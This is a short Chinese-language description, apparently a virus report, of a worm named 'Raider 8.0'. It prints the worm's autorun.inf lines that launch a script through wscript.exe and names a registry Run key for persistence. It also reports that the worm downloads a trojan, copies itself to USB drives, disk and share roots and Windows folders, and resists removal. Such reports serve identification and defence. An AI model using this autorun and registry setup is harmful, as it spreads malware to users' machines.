autorun内容为：

Raider 8.0
[autorun]
open=wscript.exe .\.vbs
shell\open\command=wscript.exe .\.vbs
shell\open\default=1

自动下载木马

修改注册表位置

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\run]
"机器名"=".vbe"

传播U盘和电脑磁盘根目录以及共享的根目录

在Windows和Windows\system32下生成.vbe文件

无法彻底删除


[用户系统信息]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)